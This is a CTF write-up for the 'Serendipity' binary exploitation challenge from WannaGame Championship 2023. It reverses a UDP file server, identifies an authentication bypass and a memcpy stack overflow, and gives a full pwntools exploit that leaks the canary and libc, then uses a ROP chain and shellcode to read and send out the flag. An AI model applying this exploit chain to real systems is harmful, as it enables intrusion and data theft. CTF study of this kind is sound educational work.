# WannaGame Championship 2023: Serendipity ## Overview ![image](https://hackmd.io/_uploads/BJSzvn2ST.png) ## Analysis ```c void __fastcall __noreturn main(int a1, char **a2, char **a3) { unsigned int i; // [rsp+4h] [rbp-ECh] int v4; // [rsp+8h] [rbp-E8h] int j; // [rsp+Ch] [rbp-E4h] pthread_t newthread; // [rsp+10h] [rbp-E0h] BYREF struct sockaddr *addr; // [rsp+18h] [rbp-D8h] void *v8; // [rsp+20h] [rbp-D0h] fd_set *p_readfds; // [rsp+28h] [rbp-C8h] void *buf; // [rsp+30h] [rbp-C0h] ssize_t v11; // [rsp+38h] [rbp-B8h] struct timeval timeout; // [rsp+40h] [rbp-B0h] BYREF struct sockaddr s; // [rsp+50h] [rbp-A0h] BYREF fd_set readfds; // [rsp+60h] [rbp-90h] BYREF unsigned __int64 v15; // [rsp+E8h] [rbp-8h] v15 = __readfsqword(0x28u); pipe(session_1); pipe(session_2); pipe(session_3); pipe(session_4); if ( pthread_mutex_init(&mutex, 0LL) || pthread_mutex_init(&stru_60A0, 0LL) ) error("pthread_mutex_init"); pthread_create(&newthread, 0LL, clean_session, 0LL); fd = socket(2, 2, 0); if ( fd == -1 ) error("socket"); memset(&s, 0, sizeof(s)); s.sa_family = 2; *(_WORD *)s.sa_data = htons(0x26FDu); *(_DWORD *)&s.sa_data[2] = 0; if ( bind(fd, &s, 0x10u) == -1 ) error("bind"); addr = (struct sockaddr *)malloc(0x214uLL); v8 = malloc(0x100CuLL); while ( 1 ) { do { p_readfds = &readfds; for ( i = 0; i <= 0xF; ++i ) p_readfds->fds_bits[i] = 0LL; readfds.fds_bits[fd / 64] |= 1LL << (fd & 0x3F); timeout.tv_sec = 1LL; timeout.tv_usec = 0LL; if ( select(fd + 1, &readfds, 0LL, 0LL, &timeout) == -1 ) error("select"); } while ( (readfds.fds_bits[fd / 64] & (1LL << (fd & 0x3F))) == 0 ); buf = calloc(1uLL, 0x1000uLL); memset(addr, 0, 0x214uLL); memset(v8, 0, 0x100CuLL); *(_DWORD *)&addr[1].sa_family = 16; v11 = recvfrom(fd, buf, 0x1000uLL, 0, addr, (socklen_t *)&addr[1].sa_family); if ( v11 == -1 ) error("recvfrom"); v4 = 0; for ( j = 0; ; ++j ) { if ( j > 3 ) goto LABEL_22; if ( *(_QWORD *)buf == *((_QWORD *)&unk_6100 + 2 * j) ) break; } write(session_1[2 * j + 1], buf, 0x1000uLL); v4 = 1; LABEL_22: if ( !v4 && !(unsigned int)check_packet(addr, v8, buf) ) check_opcode(addr, v8); } } ``` This is a server allowing users to send packets throughout a UDP connection. First, we can see that it creates 4 pipes, for 4 threads to connect, read and write. After that, there is a call to socket which creates a UDP connection to send and receive input to users by `sendto` and `recvfrom`. Program will wait for users to send data to socket and then check with each session_id, if it's similar, it will write to the corresponding fd related to that threads. But not, it will jump to `LABEL_22` `LABEL_22` will check our recently sent packet is matched with server or not, subsequently check our opcode. Here I have reversed the main struct in this binary: ```c struct packet{ uint32_t magic; uint32_t opcode; unsigned int short len_packet; char msg[4086]; } ``` **Check_packet** ```c __int64 __fastcall check_packet(packet *a1, packet *a2, packet *a3) { unsigned int v3; // eax unsigned int v5; // eax a2->magic = a3->magic; if ( a2->magic == 1882206320 ) { a2->opcode = a3->opcode; a2->packet_len = a3->packet_len; if ( a2->packet_len <= 0xFFFu ) { memcpy(a2->msg, a3->msg, (unsigned __int16)a2->packet_len); return 0LL; } else { memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "packet too large\n"); v5 = strlen(&a1->msg[10]); send_msg(a1, &a1->msg[10], v5); return 1LL; } } else { memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "server magic mismatch\n"); v3 = strlen(&a1->msg[10]); send_msg(a1, &a1->msg[10], v3); return 1LL; } } ``` **Check_opcode** ```c __int64 __fastcall check_opcode(packet *a1, __int64 a2) { unsigned int v2; // eax unsigned int v4; // eax v2 = *(_DWORD *)(a2 + 4); if ( v2 == 769 ) return read_key((__int64)a1, a2); if ( v2 > 0x301 ) goto LABEL_9; if ( v2 == 257 ) return ((__int64 (__fastcall *)(packet *, __int64))encrypt)(a1, a2); if ( v2 == 513 ) return authenticate((__int64)a1, a2); LABEL_9: memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "unknown opcode\n"); v4 = strlen(&a1->msg[10]); return ((__int64 (__fastcall *)(packet *, char *, _QWORD))send_msg)(a1, &a1->msg[10], v4); ``` From here, we can conclude a valid packet is: - The magic must be 0x70303070 - The opcode must not be different from 769, 513, 257 Actually, I found an `OOB Read` in opcode 257, but due to I/O buffering, this bug doesn't work on remote server, so I will not use here. Here I will mainly focus on `authenticate` function: ```c void __fastcall authenticate(packet *a1, __int64 a2) { int v2; // eax int v3; // eax int v4; // eax int i; // [rsp+14h] [rbp-Ch] if ( !strncmp(s1, (const char *)(a2 + 10), 0x20uLL) ) { memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "auth successfully\n"); v3 = strlen(&a1->msg[10]); send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v3); for ( i = 0; i <= 3; ++i ) { if ( !*((_QWORD *)&session + 2 * i) ) { *((_QWORD *)&session + 2 * i) = *(_QWORD *)get_random_string(8); qword_6108[2 * i] = time(0LL) + 60; memset(&a1->msg[10], 0, 0x200uLL); strncpy(&a1->msg[10], (const char *)&session + 16 * i, 8uLL); send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], 8); open_thread((__int64)a1, a2, i); return; } } memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "only 4 sessions at a time\n"); v4 = strlen(&a1->msg[10]); send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v4); } else { memset(&a1->msg[10], 0, 0x200uLL); strcpy(&a1->msg[10], "auth failed\n"); v2 = strlen(&a1->msg[10]); send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v2); } } ``` Initially, there is a check on user's input, to compare that if it's the same or not. But the `s1` is on `bss` and it's uninitialized, so we can easily bypass it, and jump to `open_thread`. Before opening a thread, server will send a session number to our socket, and then jump to our thread. ```c void *__fastcall start_routine(_DWORD *a1) { unsigned int v1; // eax unsigned int v3; // eax size_t v4; // rax unsigned int v5; // eax unsigned int v6; // eax int v7; // [rsp+1Ch] [rbp-344h] __int64 v8; // [rsp+20h] [rbp-340h] __int64 *buf; // [rsp+28h] [rbp-338h] FILE *stream; // [rsp+30h] [rbp-330h] __int64 s; // [rsp+40h] [rbp-320h] BYREF int v12; // [rsp+48h] [rbp-318h] unsigned __int16 v13; // [rsp+4Ch] [rbp-314h] _BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF char dest[8]; // [rsp+150h] [rbp-210h] BYREF __int64 v16; // [rsp+158h] [rbp-208h] BYREF char ptr[264]; // [rsp+250h] [rbp-110h] BYREF unsigned __int64 v18; // [rsp+358h] [rbp-8h] v18 = __readfsqword(0x28u); v8 = *(_QWORD *)a1; v7 = a1[2]; buf = (__int64 *)calloc(1uLL, 0x1000uLL); while ( 1 ) { while ( 1 ) { memset(&s, 0, 0x110uLL); memset(dest, 0, 0x100uLL); memset(ptr, 0, 0x100uLL); read(session_1[2 * v7], buf, 0x1000uLL); s = *buf; v12 = *((_DWORD *)buf + 2); v13 = *((_WORD *)buf + 6); memcpy(v14, (char *)buf + 14, v13); memcpy(dest, "./files/", sizeof(dest)); memcpy(&v16, v14, 0xF0uLL); if ( strstr(dest, "..") ) { memset((void *)(v8 + 20), 0, 0x200uLL); strcpy((char *)(v8 + 20), "invalid file\n"); v1 = strlen((const char *)(v8 + 20)); send_msg(v8, v8 + 20, v1); return 0LL; } if ( !v12 ) break; if ( v12 == 1 ) { memset((void *)(v8 + 20), 0, 0x200uLL); strcpy((char *)(v8 + 20), "under construction\n"); v6 = strlen((const char *)(v8 + 20)); send_msg(v8, v8 + 20, v6); } } stream = fopen(dest, "r"); if ( !stream ) break; fread(ptr, 0x100uLL, 1uLL, stream); memset((void *)(v8 + 20), 0, 0x200uLL); v4 = strlen(ptr); strncpy((char *)(v8 + 20), ptr, v4); v5 = strlen((const char *)(v8 + 20)); send_msg(v8, v8 + 20, v5); fclose(stream); } memset((void *)(v8 + 20), 0, 0x200uLL); strcpy((char *)(v8 + 20), "file can't be read\n"); v3 = strlen((const char *)(v8 + 20)); send_msg(v8, v8 + 20, v3); return 0LL; } ``` Binary will parse our input into another struct, which looks like: ```c void *__fastcall start_routine(_DWORD *a1) { int v1; // eax int v3; // eax size_t v4; // rax int v5; // eax int v6; // eax int v7; // [rsp+1Ch] [rbp-344h] const struct sockaddr *v8; // [rsp+20h] [rbp-340h] arg *buf; // [rsp+28h] [rbp-338h] FILE *stream; // [rsp+30h] [rbp-330h] __int64 s; // [rsp+40h] [rbp-320h] BYREF int mode; // [rsp+48h] [rbp-318h] unsigned __int16 len; // [rsp+4Ch] [rbp-314h] _BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF char dest[8]; // [rsp+150h] [rbp-210h] BYREF __int64 v16; // [rsp+158h] [rbp-208h] BYREF char ptr[264]; // [rsp+250h] [rbp-110h] BYREF unsigned __int64 v18; // [rsp+358h] [rbp-8h] v18 = __readfsqword(0x28u); v8 = *(const struct sockaddr **)a1; v7 = a1[2]; buf = (arg *)calloc(1uLL, 0x1000uLL); while ( 1 ) { while ( 1 ) { memset(&s, 0, 0x110uLL); memset(dest, 0, 0x100uLL); memset(ptr, 0, 0x100uLL); read(session_1[2 * v7], buf, 0x1000uLL); s = *(_QWORD *)buf->session_id; mode = buf->mode; len = buf->len; memcpy(v14, buf->msg, len); memcpy(dest, "./files/", sizeof(dest)); memcpy(&v16, v14, 0xF0uLL); if ( strstr(dest, "..") ) { memset(&v8[1].sa_data[2], 0, 0x200uLL); strcpy(&v8[1].sa_data[2], "invalid file\n"); v1 = strlen(&v8[1].sa_data[2]); send_msg(v8, (__int64)&v8[1].sa_data[2], v1); return 0LL; } if ( !mode ) break; if ( mode == 1 ) { memset(&v8[1].sa_data[2], 0, 0x200uLL); strcpy(&v8[1].sa_data[2], "under construction\n"); v6 = strlen(&v8[1].sa_data[2]); send_msg(v8, (__int64)&v8[1].sa_data[2], v6); } } stream = fopen(dest, "r"); if ( !stream ) break; fread(ptr, 0x100uLL, 1uLL, stream); memset(&v8[1].sa_data[2], 0, 0x200uLL); v4 = strlen(ptr); strncpy(&v8[1].sa_data[2], ptr, v4); v5 = strlen(&v8[1].sa_data[2]); send_msg(v8, (__int64)&v8[1].sa_data[2], v5); fclose(stream); } memset(&v8[1].sa_data[2], 0, 0x200uLL); strcpy(&v8[1].sa_data[2], "file can't be read\n"); v3 = strlen(&v8[1].sa_data[2]); send_msg(v8, (__int64)&v8[1].sa_data[2], v3); return 0LL; } ``` From here, problem has occurred. ```c memcpy(v14, buf->msg, len); memcpy(dest, "./files/", sizeof(dest)); memcpy(&v16, v14, 0xF0uLL); ``` At first memcpy, we can see that memcpy will copy our `buf->msg`, with our length specified. Since `len` is a controlled variable, it is an obvious `Buffer Overflow`. So how can we leak when `SSP` and `PIE` are all enabled? ### Arbitrary read With `fread` doesn't put null-byte on our string, we can easily use that arbitrary read primitive to leak canary and libc. See the examples below to clearly understand how we can trigger the bug. ![image](https://hackmd.io/_uploads/r1N8xy6rT.png) ![image](https://hackmd.io/_uploads/Byh2lJ6rT.png) ![image](https://hackmd.io/_uploads/rywaekpHa.png) Here I find the offset between canary and my buffer is 0x30b, so set `buf->len` to `0x30b` and fill the gap before by 'A'. Now we have the ability to leak canary. Use the same method to leak libc. Bonus: I have leaked another thread address because r-w segment in libc might be overlapped with some I/O segment, so leak another thread is kinda better for me. ### Arbitrary write Is it too easy to call `system("/bin/sh")` to obtain a shell? Well, since here is the socket connection with UDP type, we cannot easily do that or `system("/bin/sh 0>&11 1>&11)"`. Author has also mentioned that it is not possible to do a reverse shell, since the remote has blocked outside connection. What we can do to get flag now? Well, traditional way is to `open-read-write`. We are working on socket, so `read` and `write` seem to fail. But with our socket opened, we can use `sendto` to send flag to our socket now. ```sh ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen); ``` Since two last arguments of `sendto` are stored on `r8` and `r9` respectively, and it is rarely changed at runtime, our target is only to modify another arguments to read flag. So our strategies will be: - Set our `buf->mode` to 1 to get out of the infinite loop. - At the same time, inserted our ROP chain to open->read->sendto. - `read(thread_fd, buf, size)` will enable us to wait for input, which was when we make `buf->mode` to 1, then write into our buffer. - Finally, I choose to mprotect my thread address, and jump to that shellcode. ![image](https://hackmd.io/_uploads/rkWFbyaHa.png) ```python from pwn import * #p = process("./serendipity_patched")#r = process(["/usr/bin/nc", "-u", "157.245.147.89", "28223"]) context.arch = 'amd64' #r = process(["nc", "-u", "157.245.147.89", "21415"]) r = process(["nc", "-u", "localhost", "9981"]) l = ELF("./libc.so.6") def send_packet(opcode: int, len_packet: int, message: bytes): msg = p32(0x70303070) msg += p32(opcode) msg += p16(len_packet) msg += message r.sendline(msg) send_packet(513, 0xfff, b'\0' * 16) r.recvuntil(b'auth successfully\n') session = r.recv() pl = session pl += p32(0) pl += p32(0x30b) pl += b'A' * 0x30b r.send(pl) r.recvuntil(b'A' * 264) canary = u64(r.recv(8)) - 0x41 log.info(f"Canary: {hex(canary)}") pl = session pl += p32(0) pl += p32(0x31a) pl += b'A' * 0x31a r.send(pl) r.recvuntil(b'A' * 0x118) l.address = u64(r.recv(6) + b'\0' * 2) - 0x94ac3 log.info(f"Libc: {hex(l.address)}") rdi = l.address + 0x2a3e5 ret = rdi + 1 rsi = l.address + 0x000000000002be51 rdx = l.address + 0x00000000000796a2 syscall = l.address + 0xec339 rax = l.address + 0x0000000000045eb0 pl = session pl += p32(0) pl += p32(0x32a) pl += b'A' * 0x32a r.send(pl) r.recvuntil(b'A' * 0x128) rw_seg = u64(r.recv(6) + b'\0' * 2) & (~0xfff) log.info(f'Thread: {hex(rw_seg)}') pl = session pl += p32(0) pl += p16(0x600) pl += b'A' * 0x30a pl += p64(canary) pl += p64(0) pl += p64(rdi) + p64(rw_seg) + p64(rsi) + p64(0x3000) + p64(rdx) + p64(7) + p64(l.sym['mprotect']) pl += p64(rdi) + p64(3) + p64(rsi) + p64(rw_seg) + p64(rdx) + p64(0x200) + p64(rax) + p64(0) + p64(syscall) pl += p64(rw_seg + 0x12) r.send(pl) r.recv() pl = session pl += p32(0) + p32(0) + p16(0x200) pl += asm(shellcraft.open("/home/user/flag", 0)) + asm(shellcraft.read('rax', rw_seg + 0xf00, 0x100)) pl += asm(""" push 44 pop rax push 11 pop rdi syscall """) r.send(pl) r.interactive() ``` This is the result on my local machine ![image](https://hackmd.io/_uploads/BkNib1TBa.png) **Note** Since I cannot solve this challenge in 24 hours, something I need to improve for the future CTFs. - I had better practise faster code understanding, since speed is always my weakness in CTF - Learn to find vulnerable patterns in binary, exemplified by the `stack buffer overflow` in `memcpy`